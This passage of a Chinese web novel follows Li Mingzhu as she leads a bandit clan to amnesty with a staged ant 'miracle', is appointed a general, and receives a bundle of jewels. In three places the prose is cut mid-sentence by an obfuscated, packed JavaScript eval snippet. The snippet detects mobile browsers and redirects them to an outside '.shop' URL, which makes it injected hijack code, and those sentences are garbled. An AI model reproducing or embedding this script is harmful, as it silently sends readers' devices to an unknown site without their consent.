蓝金看着地上这些被绑着身子堵了嘴,却依然目露杀意拼命挣扎的土匪们,终于高高在上地开了口,“众位,莫要这样看着我,蓝某不是你们的仇人,你们真正要恨的人,应该是她——” 众人顺着她手指的方向看过去,是被被金吾卫摁的匍匐在地的熬真。 “原本,朝廷念你们兴龙上上下下都不曾作恶,且灾年里讨口饭也是不易,不想与你们为难,可这贼子却不知感恩,偏要背叛你们的大当家,背叛你们的兴龙山!不过,众位无需担心,本官会给你们做主。” 话音刚落,蓝金朝金吾卫头领微微一瞥,那人立刻会意,手起刀落间,熬真已经人头落地。 …… 死一般的寂静。 土匪们都没料到这个看上去有些弱质的官家奶奶,杀起人来居然如此可怖。 李明珠也是吓了一跳,她离得与蓝金很近,熬真几乎就是在她身边几步远的地方被砍了头,近到能听到血洒在地上的哗啦声,头皮发麻! 但幸好她反应极快,在金吾卫动手的瞬间闭上了眼,同时双手也捂上了蓝玄的眸。心中暗骂蓝金不是东西,居然当着亲生儿子的面杀人!这么小的孩子,要是见到这血腥场面,怕是要有一辈子的阴影。 可她不知道的是,蓝玄其实并不害怕,尚书府里设有私狱,是他从小最喜欢的地方,尤其是在被那个男人打得遍体鳞伤之后,他都会偷溜进去,看着一个个牢房中哀嚎挣扎咒骂的人,也只有这时候,他才能得到些欢愉。 只能说蓝金手段了得,亲眼目睹熬真的死,土匪们已没有方才的气焰,全都顺从麻木地蹲在地上,只除了一人——“蓝金小人,狗奶奶的趁虚而入!有本事与我一战!就算大当家的没了,我兴龙帮也轮不到你这个病秧子来话事!” 是路从! 看到蓝金蹙眉又要抬手,李明珠怕她也与熬真一般,瞬间站起身,“大人!她就是受了刺激,口不择言了,请大人开恩!” “明珠!”路从有些愤怒,“咱不怕死!她要是能耐,就杀了奶奶我!” 啪! 李明珠一个箭步冲上去,猛地扇了她一个巴掌,用了十成的力气,直把路从扇的一个趔趄。 “你他爹的逞什么英雌!兴龙山难道就剩你一个人了吗?就为了你自己心里那点儿义气豪情,激怒金吾卫,你有为其她姐妹考虑过吗!” 李明珠也是气的狠了,气自己无用保护不了想保护的人,气路从拿自己的性命当儿戏。她今日受到的刺激太多,如今只是强撑,歇斯底里吼出这些话,便再也支撑不住,晃了几下就要倒地。 路从还没从那一巴掌中回神,但此刻见李明珠将要倒下的身子,顿时慌乱地一把 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又看向路从,“你不是想给那匪首报仇吗,本官成全你,让你顶了熬真,当个翻垛的,至于熬青,还作她的二当家。其余匪众,望你们感念皇恩,莫行不义之事,否则,”她高高在上睥睨众人,“熬真便是你们的前车之鉴!” “另外,看在我这儿子全须全尾的份上,某劝诸位一句,早点儿招安,才是正道。” 蓝金走了,浩浩荡荡地来,又浩浩荡荡地离去,好像什么都没有变,又好像一切都不同。 15. 招安 “明珠,你说那狗贼究竟是个什么意思,我都那么骂她了,她竟然还给我封官!” 聚义堂的后厅里,路从正满脸烦躁地抓着脑袋。 李明珠靠在床头,一口干了一大碗药,被苦得说不出话,喝了路从给她倒的水,缓了好一会儿,才终于能勉强开口:“还能是什么意思,想让咱们继续内讧而已。” 见她仍是疑惑,便继续出声解释道:“你可知明明那晚蓝金可以杀光我们,但她却没有这么做吗? 无非也就是两种可能,一来是圣上下旨,让蓝金不要闹出大动静,毕竟如今不是乱世,咱们又不是那等罪大恶极之匪,贸然将我们全杀了,定会引起市井恐慌,实在不划算。” “这其二,”李明珠手中摩挲着杯沿,回想着蓝金当日对她的态度,“也许是她临时起意?觉得我们可以做一把襄助招安的刀。” “你说朝廷想让咱们招安?” 听到这话,李明珠简直要给这直脑筋翻白眼了,恨铁不成钢地道:“当日蓝金自己不是说了吗?!双耳于你难道是摆设不成?” 路从有些心虚地摸摸鼻子,经她一提就想起来了,“自是记得、记得,只是咱当时光想着担心你了,又怕你真生咱的气,再顾不上别的了。” 李明珠本就没有怪她的意思,她一个铁骨铮铮的大女子,那天接住倒下的她时,眼眶都是刺目猩红。 兀自叹了口气,她从榻上坐直身体,握住路从的手,认真道:“路姐姐,你可信任于我?” “那是自然。” “那你便按照我说的去做,想必过几日,就会有回应的。” 她示意路从低头,对她耳语几句,路从虽不解,却还是朝李明珠点点头,转身出门。 她走后,李明珠也披衣下榻,大抵是叛乱那晚受到惊吓,又吹了风,情绪波动也大,当天回来便染上了风寒,一度高烧不退,吃了好几副药,又养了这些日子,直到现在才恢复了些力气,能在旁人的搀扶下走走。 李明珠把外面守着的冉冉喊进来,她在兴龙山时间不长,路从和冉冉就是她唯二可以信任的人。 “去帮我找件厚实的大氅来。我要出去一趟。” “欸呦喂,我的小祖宗,你还病着呢,外头刚落了雪,要是再冻着,都不用你亲自动手,路姐就能把我切成块儿喂马。” 李明珠被她夸张的话逗笑,“放心,有我拦着,不会把你切块儿的,怎么着也得留个全尸!好了好了,快去给我找一件来,有要紧的事一定得我亲自去。” 见她坚持,冉冉也不好再说什么,从一个大箱子里找了一件白狐裘大氅。 说起来,能得到这么珍贵的大氅还得感谢蓝玄,那日他临走前,趁人不注意迅速塞给了她一个东西,是一个被扭成细丝的金项圈。 前几日卧病在床,李明珠拿着那细丝细细端详,突然想起来见到蓝玄的第一面起,他就带着一个金项圈,只是那项圈很细,也不引人注目,所以她从未特别在意过,但是就在叛乱发生,她去甲号房找蓝玄时,就觉得他与往常相比有什么不同,只是当时情况太紧急,来不及多想,连他究竟是如何打开的珠宝箱都没问,现在回忆起来,才惊觉他那日颈上项圈就已消失不见! 后来她让路从带人将甲号房的箱子都抬过来,用那金丝一试,就听咔哒一声,一把锁就掉了,试另一把锁,在李明珠路从冉冉三脸震惊中,同样开了!李明珠咽咽口水,这家伙要是在现代......不敢想。 就这样,李大当家靠着前人栽树,终于也成了富婆。 聚义堂往西五里处,是二当家熬青的院子。 虽与这妹妹不甚亲厚,却终究一父同胞,熬煞也没有亏待她,划给她一块风景秀丽有平坦的地方,也是众匪中离聚义堂最近的。 李明珠来时,熬青正独自坐在院子里喝酒。 “参见二当家。外头天寒,您若是想喝,何不去屋子里?” “咱在哪吃酒,还轮不到你来问。你如今顶了我姐姐,成了大当家,她死了,你是不是很高兴,是不是觉得自己了不起,能在我面前拿乔?”熬青连眼皮都没抬便讥讽道。 “二当家您误会了,明珠是大当家亲自带上山的,心中感念她的恩德,她身死我亦是痛苦,做这兴龙帮的大当家也非我所愿,是圣上下旨......” “圣上下旨!”哗啦,熬青猛地站起,重重将酒坛摔在地上,冰凉的酒液四溅,沾湿了李明珠身上的狐裘。 似是觉得仍不解气,上前一把抓住她的衣领,“感念她的恩德?王十六也感念,随她去了!你他爹的怎么还活着?!兴龙帮是我大姐多年的心血,如今便宜了你,还假惺惺来找我作甚!” 发泄完,脱力般松开她,跌跌撞撞地朝屋里走去。 李明珠本就在病中,被她猛地一放险些没有站稳,还是冉冉眼疾手快接住了她。 小姑娘脸上很是不忿:“二当家怎么这样啊,大当家又不是咱们害死的,她要报仇就应该找熬真和金吾卫啊,虽说熬真已死,但是当初跟她一起反叛的人可还在呢,也没见二当家有什么反应,就她这脾气,怪不得没人与她亲近!” “算了,她姐姐新亡,她应是最伤心的,不必放在心上。”李明珠摸摸她的头,小声安慰道。 冉冉也明白当前什么最重要,便点点头不再作声,随李明珠一起进了屋子。 熬青就蜷缩在外间的竹榻上,背对着她们。 “二当家,我知道你现在听不进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202158|197236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去别的话,但就如你所说,兴龙帮是大当家的心血,如今朝廷已经摆明了态度,熬煞已死,剩余匪众要么招安、要么皆亡,蓝金让我来做这大当家,也不过是想利用你我的矛盾、利用众匪之间的矛盾让兴龙帮再生事端,才能名正言顺血洗山寨。” 她步步紧逼,直走到熬青的榻前,站定:“到那时,兴龙帮覆灭,才是真的辜负了你姐姐。” “你来找我,便是为了说这些的吗?”她仍未转身,声音也几乎低不可闻。 “我来找你,是想请你帮我,也是帮你姐姐,给昔日的姐妹们铺一条退路。” “退路?”熬青终于动了,用手撑起身体,衣着脏污头发混乱,只有那双饮酒后有些迷蒙的眼,此刻总算透出了些许光亮。 “是,退路。大当家生前就与朝廷有过往来,隐隐透露出想要招安的意思,连我们这些崽子都有所耳闻,您是她亲妹妹,想必也定是知道的。”李明珠寻了一把还算干净的椅子,被冉冉扶着坐下,慢慢说道。 熬青点了点头,“这就是你说的退路?可她现在已不在了,朝廷还会买账?” “她们自然会买账,我方才说过,朝廷让我当这个大当家是有激起兴龙帮矛盾的意思,但是您想想,在那日之前,您可有听过我的名字?” “似乎......没有”熬青仔细想了想,她第一次知晓李明珠还是蓝金封她做大当家那晚。 “这就是了,您日日待在兴龙帮都没听过,那朝廷又是如何得知我这号人呢?” 熬青蹙眉,“你是说——” “我猜,让我当兴龙帮的大当家,是蓝金见到我之后临时起意,她没有冒着风险将我们赶尽杀绝,临走时的那句话也确实在劝我们往招安的路上走,所以,只要二当家您愿意助我,咱们或许可以一试。” 听到这话,熬青的眉皱的更紧了,“你说的好听,大姐还在的时候都没能完成的事,如今只靠你我又如何有那等能耐?” 李明珠却摇了摇头,“事在人为,大当家当时之所以没能成功招安,一是朝廷态度不明,从未把这件事拿到明面上说;而是叛贼熬真及其同党尚在,有她暗地里撺掇,兴龙帮才有了反对招安之流。 可今日的情形却截然不同了,熬真身死,其同党也是死的死逃的逃,剩下的残兵败匪不成气候,我已让路从尽数捉拿,其余姐妹都随大当家的遗志,对招安一事抱有期望。 我来找二当家,不为别的,只为您到时候可以配合我和路从,演上一出戏......” ...... 从二当家的住处出来,已是月上枝头,李明珠今日耗费了大量心神劝服熬青,本就虚弱的身体此刻满是疲惫,匆匆回了聚义堂,吃了药便沉沉睡去。 16. 虎烈 七日后, 七日后, 江州城。 “诶你听说了吗,最近咱们这城外兴龙山上出了件怪事。” “嘘,小点儿声,那是菩萨显灵,之前那个土匪头子被朝廷带人杀了,现在她们那新头儿是菩萨所派的。” 街边的馄饨摊上,两个女人小声说着话。旁边有人听见了,不屑嗤笑:“这你们也信啊,姑奶奶还说咱是玉皇大帝下凡呢!” 那两人也不恼,“妹子,你不知道她有多神,这数九寒天的,居然有蚂蚁在山顶上爬出了一只大虫模样,黑压压的一大片,个个儿都是活的,这要不是菩萨显灵,还能是啥?” “欸你没说全,我是听她们山上下山采买的粮台说得,保准是真事儿,不只有只大虫,旁边还有一只凤凰,张着大口,那样子,活像是要一口将大虫吞吃入腹,好不骇人。 偏生那大虫还屈了虎爪,跟朝凤凰求饶似的,真是闻所未闻,若不是我与那粮台是同乡,她又亲眼所见,我也是万万不敢信的。” 这一番话,听得摊上食客具是啧啧称奇。 而话题中心的李明珠,正窝在榻上被路从亲自盯着吃药。 “你啊你,我早就说你还病着,莫要操心这许多,别出门别吹风,你偏不听,现在好了,本来就是个小风寒,几贴药下去就能好个彻底,你这都十余日了,还不见好,顿顿喝着苦药,折磨你自己也就罢了,偏又总是爷们儿似的哼哼唧唧,没得叫我也跟着心疼。” 知道对方是关心自己,她病得这段时日,都是路从和冉冉在照顾她,尤其是路从,在山顶上做了两日苦工,又要看顾着她,熬的眼里都是血丝。 李明珠拉了路从的手,叫她坐在榻边,伸手拂过她的眼眶,“路姐姐,你今晚别来给我守夜了,一会儿回去好好睡一觉,你总说心疼我,但我们是姐妹,我又何尝不心疼于你呢。” 听着她温声细语都是在为自己着想,路从心里一软,便再也不能板起脸,只低声回道: “你总是这样,拐着弯给我打岔,可今日,看在我给你挖了两天洞的份上,你必须得答应我,再不可劳心劳力,也不许出去,若有什么事儿要办,都交给咱,咱别的本事没有,就是听话,只要是明珠你说的,奶奶我上刀山下火海也给你办妥!” 想了想,又继续道:“我昨日已让粮台去散播消息了,想必过不了几日,朝廷那边就会有动静了。” 几日前,明珠突然让她在山顶的一大片空地上挖几个坑,还特意嘱咐千万不能叫太多人知道,可山上多岩石,并不好挖。 路从一个人带着铁锹吭哧吭哧干了一天,也才堪堪挖了两亩地,但那片地总共有十几亩之多! 好在后来,熬青也带着手下两个心腹加入进来,几人用了两天两夜,终于把那片地全部翻了一遍。 后来听明珠解释她才知道,挖坑翻土是为了把已经冬眠的蚂蚁唤醒,让它们以为是春天到了,出来觅食。 蚂蚁已经就位,李明珠便亲自抱着一个蜂蜜罐,用刷子蘸着浓稠的蜂蜜,在地上画了一只即将要被凤凰吃掉的大虫,那大虫屈折前爪做讨饶状,惟妙惟肖。 熬青和路从起初还很疑惑,不晓得她葫芦里究竟卖的什么药,只是第二天再去看时,却都被眼前景象所震惊! 黑压压的蚂蚁按照涂蜂蜜的痕迹,爬成了一幅画! 李明珠却似早有预料般,只淡声让她们把消息散播出去,自己则慢悠悠回去补觉了,徒留她们这些人在原地怔愣许久。 所幸路从也不是蠢人,看到这幅画就明白了李明珠心中所想,她找来经常下山采买的粮台,让她负责去江州城内散播消息,自己联合熬青在寨里大肆宣扬这一奇观,让众匪在此地围观。 亲眼得见这场面的众人无不叹服,以为是菩萨下凡指引她们招安,纷纷倒地跪拜山呼万岁。 自然,这样的场景也被路从她们传到京城,一路直达天听。 女帝听闻此事,先是在一次大朝会上大赞李明珠的忠心,后又派兵部尚书柴进亲赴兴龙山进行招安事宜,言辞间,无不昭示着帝心大悦。 就在柴进率部进山之时,李明珠的风寒也终于痊愈,拖了小半个月,终于不用再吃这苦的舌头都发麻的药了,若不是路从在旁边看着,她几乎都想跳起来把屋顶掀了。 只是病去如抽丝,一场风寒让她本不壮硕的身子,显得更加瘦弱,甚至之前的衣服套在身上也是松松垮垮,好在如今是冬天,多穿点就是了。 柴进在兴龙山并未停留太久,只宣了女帝的旨意:‘兹有匪首李明珠,敦聪肃慧,着封正五品虎烈将军,于辽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202159|197236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 州戍守,赐白银三百两,辽州宅院一座,熬青,封正七品右骑役,赐白银一百两,其余匪众,各赏银二十两,皆充入官军,钦此!’ 近百名土匪跪在一处,领旨谢恩。 先前她们以为招安之后,自己无处可去,只是受恩于前大当家熬煞,所以对她招安的意愿也只能拥戴。 可谁知,真的招安了,居然连她们都有份,众匪均是对李明珠菩萨下凡一事深信不疑,甚至有的直接朝她跪拜磕头,弄得她好几日都不敢出门。 虽然朝廷旨意下的快,但并未明确要求她何时去辽州上任,所以,李明珠便决定等其她姐妹都下山之后再离开。 这几日,她没有一直待在山顶,而是和路从一起,将兴龙山上上下下全都走过一遍,颇为留恋地摸着山上的一草一木。 “从前只嫌弃山路不好走,想着赶快攒些银钱下山过自在日子去,如今不过才几个月而已,却已物是人非了。”望着冬日里雾气弥漫犹如仙境一般的群山远岱,李明珠竟生出了些不舍。 不光是她,就连路从这个一根筋的糙娘子,走在往日熟悉的路上,也是感慨良多。 二人静静站在一处,望着日头一点点落山,只留一丝余晖之时,才舍得转身回去。 一路沉默不语,直到回了聚义堂,李明珠刚要抬脚迈进后堂,袖子却被人扯住了,她诧异回头:“路姐姐?” 路从张了张口,自从知晓李明珠要去辽州赴任,她就憋了一肚子的话想要对她说,她要随众人一起去京郊充军,不能与李明珠一同去辽州,两地相隔千里,这一别,日后便难以再相见了。 李明珠见她一直望着自己,却不说话。二人是何其相熟,她如何能不晓得她想要说什么,便也抓住路从的手臂,“路姐姐,我们相识虽不算太久,但我早已拿你当最好的朋友、亲人。 就算以后不能经常见面,但也能通信啊,我都打听过了,轩辕氏在运河之上设了驿站,来往信件顺流而下,两三日就能收到,你到时候可要常常给我写信,不能把我忘了!” “怎会忘了你?我还怕你这一走就再也不回来,日子久了,就对着别人姐姐长姐姐短了,你要记着给我回信,咱约定好,若谁得空,定要来看彼此。” 两个幼稚鬼就这样借着月光,击掌盟誓。 17. 新年 爆竹声中一岁除,今日是除夕,辞旧迎新,也是土匪们在兴龙帮的最后一晚,她们都已收拾好细软,明天一早便要下山。 熬煞留下的那几箱子金银珠宝,以及各个号房的战利,朝廷一概没要,李明珠便在前几日给大家分了。 毕竟都要去一个完全陌生的地方,需得有银钱傍身,她自己有朝廷赐的赏银,在辽州又有现成的宅子,就只象征性地拿了几件男子用的首饰,想着到时候下山给白玉尘。 夜幕降临,众匪齐聚聚义堂,这是她们的除夕夜宴,也是饯行宴。 李明珠坐于上首,看着台下或陌生或熟悉的面孔,端起酒盏,“众位,此一别,不知再见是何时,借着今日是除夕,众姐妹皆聚于此,某先干了这碗酒,往事暗沉,但咱们来日方长!” 堂内的土匪崽子们也都应声而起,连干三大碗酒。李明珠吩咐大家自行吃喝,自己也与路从冉冉坐在一处,吃酒聊天。 烤的滋滋冒油的羊腿被端上桌,用匕首轻轻一划,再撒上辛粉,李明珠离羊腿最近,旁边有人走过带起一阵细风,辛辣的粉末就直往她鼻子里钻,呛得她一阵咳嗽,弄得旁边两人笑作一团。 酒过三巡菜过五味,因着明日要早早下山,众人也没有闹到很晚,堪堪亥时三刻,便三三两两结伴离去,连冉冉也被李明珠推去休息。 路从却不肯走,因为前堂只剩三人,除了她们两个,还有从酒宴一开始就一直在灌酒的熬青,她实在不放心李明珠独自和这人待在一起。 自从熬煞身死,熬青就性情大变,整日吃酒吃的酩酊大醉,也就是前几日她带人来帮忙挖坑时,路从才知晓李明珠曾去找过她,当时就极为不赞同。 熬煞虽然不怎么待见这个妹妹,但熬青却很是崇拜自己的姐姐,姐姐死的那么突然,她定然心里有恨,李明珠又在此时顶了大当家之位,路从担心她会将恨转移到明珠身上。 所以此刻,李明珠刚想去劝熬青早些回屋休息,路从却不赞同地拉了拉她的袖子,凑到她耳边小声说:“让她喝罢,左右也就这一日,明日她就启程去往肃州了,咱们也早些回去收拾整理一番。” 李明珠略一思索,想想也是,往年的除夕她应是同熬煞一起过的,如今只剩孤身一人,心里定是不好过,也就没再上前,嘱咐了伙房的两个小匪在此处看着,万一人喝醉了把她抬回去,自己则与路从回了后堂。 狩和二年正月,盘踞在兴龙山近十年的兴龙帮向朝廷招安,匪首去往辽州戍边,匪众数十人全部充入军中,至此,京城周围最大的土匪山寨已成历史。 江州城内一处宅院里。 笃笃,笃笃。 “来了来了,你找谁,我阿姐她——”后面的话堵在喉咙里。 白玉尘呆呆地望着眼前之人,良久,泪水终于决堤,猛地扑上去抱住来人,似小兽般发出呜咽:“阿珠......” 他情绪太过激动,扑过来的力道也很大,不过李明珠这几个月在山上每日都勤勉练功,所以能毫不费力一把接住他。他们动静不小,巷子里其他人家听到动静,纷纷探出头来看,李明珠连忙揽着他进了院子,反手关上门。 见他依然孩子似的赖在自己怀里不松手,颇有些好笑地打趣:“这才一个多月没见,阿尘这黏人的本事就更上一层楼了,照这样下去,要是十年八年的,不得到了天上去!” “我才不要与你分开十年八年,我受不了的,阿珠答应我,咱们今后得一直在一处,永不分开了。” 李明珠隐隐觉得他这话有什么不对,但一时也没察觉是哪不对,就没再多想,连声应了,随他一同进屋。 包袱早已被白玉尘抢去收拾,“阿珠你赶快去歇着,我马上去做饭,一会我朝隔壁王爹爹买只鸡,给你炖汤补补。” 看他高兴地忙里忙外,李明珠甚至都没插上话,他就把一切都安排妥贴了,便不再多言,刚刚走了几十里山路下山,她也确实累了,就去白玉尘早已给她收拾好的屋子里小睡了一会儿。 一觉醒来,已是傍晚,身上的疲乏减轻了许多。白玉尘仍在灶台前忙着,李明珠本想过去帮忙,却被他以女子远庖厨之名推了出来,左右也无事可做,她便随意在院子里走走。 这院子只赁了一个月。当日熬煞身死,金吾卫声势浩大的进山,搞得江州城人尽皆知,白家姐弟担心李明珠的安危,第二日就上了山,那时她正在病中,脸色苍白唇无血色,白玉尘见了那么虚弱的她几度落泪,哭着喊着不再下山,要留在她身边照顾。 但李明珠当时就已料到招安势在必行,她们在山上也不会待多久,便强撑着身子劝了许久,才让他同意拿了钱在城中找一处小院租下,待日后她下山再做打算。 如今圣旨已下,不日她就要去辽州上任,白家姐弟自然也一同前去,这院子就能退了,但即便只租了一个月,白玉尘也将这打理的井井有条。 炊烟的香气飘到鼻尖,耳边隐约能听到有孩童吵闹的声音,这是李明珠自穿越以来第一次感受到的烟火气,既熟悉又陌生。 正感慨着,门从外面被推开,白灵裹着一身寒气进来,一眼便看见了站在院中的李明珠,也是又惊又喜,“明珠,你回来了,事情可妥贴了?” “都办妥了,白灵姐你跟玉尘这两日也准备一下,咱们三日后就启程。只是你们没有路引,只能先委屈暂称我的随从了。” 白玉尘此时恰好端着晚食出来,听到这话就是不满蹙眉,“什么委不委屈的,阿珠去哪我们便去哪,当初你上兴龙山,因我是男子没法跟着,害得我们几个月不能相见,从今往后咱们仨再也不分开了!阿姐你说是不是。” 白灵也点头:“咱们三人一定能把日子过好。那我明日就去置办马车,明珠你看看可还有什么要买的,都备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202160|197236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐了,省得路上不方便。” “我一时也想不出要准备什么了,白灵姐我明日跟你一起去逛逛。还有,刚听玉尘说你又去做工了,之前咱们不是说好,现在有钱了,别让自己那么辛苦了。” 之前白家姐弟上山时,她就把自己攒的银钱连带着又朝路从借了些,凑了一百文给他们,租下这院子后还能有剩余。 前几日拿到朝廷给的赏银,李明珠又托人给他们带了十两,就是想着修河堤这活儿实在是辛苦,不让白灵做了,可谁知今日回来才发现,她居然又不顾惜自己的身体,依旧去做那苦工。 白灵难得有些窘迫,“我就是闲不下来,总想着干点儿什么,从前还在家时,日日天不亮就随母亲去军营练枪,这么多年都习惯了。” 她有些不好意思地笑着:“知道你担心我,但你放心,我有的是力气,这点儿活不算什么。再说,咱们这一路去辽州,估么着也得走个把月,能攒些银子是一些。” 她说得很轻松,但李明珠还是捕捉到了她语气里的一丝落寞,但她不该是这样的,当初还在城隍庙时,所有人都畏惧她这个身姿颀长又不失魁梧的女人,自己被恶霸欺负,也是她挺身而出,救了自己。 李明珠从前也听白灵说过,她出身军户,母亲又上过战场,虽家中并不富裕,但却很自由,自小在军营历练,骑马打猎,只是这一切都终结在滔天的洪水里,失去了双亲,白灵不得不肩负起照顾弟弟的重任,后来甚至还要照顾她...... 鼻尖忽然有些酸涩,但想到自己马上就是将军了,有能力改变她们的现状,又顿时豪气万分:“白灵姐,我们马上就能离开了,辽州虽苦寒,却也辽阔无比,到时候我还让你进兵营,咱们在雪中一起策马打猎烤兔子!” “什么烤兔子,阿珠想吃烤兔子了?也好,我明日问问王爹爹,看他有没有......” 眼见白玉尘越说越偏,李明珠连忙把他拉进了屋里,“没有没有,不想吃兔子,兔兔那么可爱,谁舍得吃?咱还是喝鸡汤,哇,阿尘,这才多长时间,你手艺又精进了,太香了!” 好笑地看着李明珠吞口水的模样,白玉尘便先给她盛了一碗汤,还不忘提醒她小心烫——,只是这一个烫字还没说出口,那边李明珠已经沿着碗边啜了一小口,“嘶——,烫烫烫,嘶......”被烫得满屋乱跑。 白玉尘看她这样简直吓坏了,以为真烫出来什么好歹,声音都带着颤:“阿珠你先停下,停下让我看看,我带你去找大夫......” 边说着边上前要拉住她,李明珠一看把人惹哭了,心头暗叫一声糟,忙迎上他,又是认错又是洪,还张嘴给他看,白玉尘这才意识到自己被她骗了,作势要拍她拉着自己的手,心里因着她没受伤而放松下来。 三人久违的一起吃了晚食,就各自回屋休息了,月亮高悬,明日定是一个大晴天。 18. 上任 辽州离京城大约两千里,若是快马加鞭,四日便能到,但他们有男眷,细软也多,就决定坐马车,反正朝廷也没说让哪日到,干脆慢慢走,还能欣赏沿途风景。 因为有朝廷的赏银,李明珠也终于能大气一把,豪掷三两银子买了辆大车,又给这车配了匹马,这也是她第一次知道,原来马和车不是一起卖的,电视剧误我! 所以当车掌柜问她是要马、驴还是骡子来拉车时,她还是咬咬牙,添五两银子选了马,不过她觉得这钱花的很值,毕竟人家都是宝马香车,美人如玉。总不能到了自己这,就是宝驴香车,宝骡香车? 花了一天时间,终于把吃用都置办齐了,赶着马车大包小包的回家。 “咦?咱们门前是不是有东西?”在前面赶车的白灵突然说道。 李明珠和白玉尘闻听此声,掀开车帘往外望去,就见她们门口的石阶上有一个大包袱,鼓鼓囊囊的,看上去里面像是装了不少东西。 车停稳后,白玉尘好奇心重,第一个下车,三两步上前就想拎起那个包袱,却没拎动,“诶,这里面装了什么,怎么都提不起来!” 李明珠就跟在他身后,见他拿不动,上前接过,也没多想顺手打开了,“嘶——” 里面的东西让她们直倒吸三口凉气! 那包袱里装的,满满当当全是首饰!什么金簪、翡翠镯、鸽血红的玉环,镶满了珍珠的玉冠......还有很多李明珠认不出的。她不懂成色,但就算是粗浅估计,这许许多多加在一起,十几万两都不止。 别说其它,就是其中最普通的一个翡翠白菜吊坠,她在后世的博物馆里见过类似的,出土于皇族墓穴,专家说光这一个吊坠,在当时就能换百亩良田。 这一大包袱,双手都难以抱住,能买下几座城池的财富,就这样被人随便扔在了她家门口?! 李明珠深呼吸,强迫自己冷静下来,现在当务之急,是如何处理这“飞来横祸”,收是不敢收的,对她们来说,这就是一个定时炸弹,不定何时触发爆炸按钮,那就真的死无全尸了。 上报给官府?不行,这么多钱,定不是区区一个署衙能收缴的,肯定要层层上报,惊动女帝,到那时,她要怎么在金銮殿上顶着女皇的目光解释? 难不成说这钱是从天上掉下来的? 虽然真相就是如此,但真要这么说了,大概会因为左脚先踏入金銮殿而被赐死罢。 脑海里快速寻找着对策,她仔细翻看着这些东西,一丝熟悉的感觉在心头划过,总觉得这些东西好像在哪儿见过...... 那个大箱子! “我知道这是谁送来的了!”李明珠压低声音道。 二人疑惑看向她。 “这儿不是说话的地方,咱们先进去。”说完,用力提起那大包袱就往屋子里走。 白家姐弟对视一眼,白灵示意弟弟先跟着进去,自己则小心把马车赶进院子,又喂了草料,这才回屋。 李明珠把包袱放在她们吃饭的圆桌上摊开,方才在外面看不太清,现在屋里点了蜡烛,烛光打到这些金玉首饰上,映得满屋都珠光宝气。 这难不成就是‘蓬荜生辉’? “如果我没猜错,这些应是户部尚书蓝金的公子蓝玄送来的。” “蓝玄?阿珠,你什么时候认识户部尚书了?他年约几何?如何给你送这许多物件?你可是......” 听到是男子送的,白玉尘当即就开始有些胡思乱想了,连带着问出来的话都能嗅到几分酸涩。 只屋子里这唯二两个女人都没察觉到他的情绪,尤其是李明珠,听了他这一连串的问题,却只以为他是单纯好奇蓝家小公子是谁,毕竟他们不知道蓝玄曾被带到兴龙帮。 于是李明珠将这件事的来龙去脉讲了一遍,“就是这样了,当日我们走的虽匆忙,但我也实在震惊他居然能打开熬煞的箱子,就往里多看了两眼,整整一箱子都是珠宝首饰,跟这包裹里几乎一样,要不是我亲手把那些东西跟众姐妹分了,还以为是同一些呢。” “那他究竟为何要送你这些,虽说他家富可敌国,不差这十几万两,但也不能逢人就给银子不是?不然家里就算有金山银山,也经不起如此耗费。” 听了李明珠解释他们的关系,白玉尘反而醋劲儿更大了,仅仅分开几个月而已,在自己看不见的地方,就有其他男子沾染上了她,十岁又怎么样?十岁都可以定亲了! 想着那蓝家公子和阿珠亲密相处数日,他的心里就如同蚂蚁啃食一般,痛痒难耐! 他心中天人交战,李明珠却依旧没听出来对方的话里有话,这也不怪她迟钝,试问哪一个正常成年人能对小学生有什么旁的心思? 尤其当她得知小公子的不幸童年,更是心疼他的过往,那时她脑子里每天想的都是如何尽早将他救出,离开那日更是犹如虎口逃生,没准连命都保不住,哪有闲心想那些弯弯绕。 “我也不知,可能他以为我喜欢这些,想要报答我?”虽然她确实喜欢,但这烫手山芋是万万不能拿的,必须赶快还回去。 想到这儿,李明珠腾一下站起身,费力地将包袱重新包好打结,“这东西不能在咱们这放,我现在就把这些送回尚书府。” “今日太晚了,这会儿外面都宵禁了,不如等明日天亮了再说。”见她现在就要出去,白灵拦住她劝道。 “不行,这东西在咱们家多待一刻就多一分危险,刚才都是我的猜测,若不是蓝玄送的呢,万一是蓝金,或是其她有心之人的手笔......” 越想越觉得可能,李明珠不再耽搁,朝屋里担忧的两人递了个安心的眼神,“你们早些睡,我现在怎么说也是有些功夫在身的,别的不说,躲着巡逻的金吾卫应是不成问题。”说完,就提着包袱出去了。 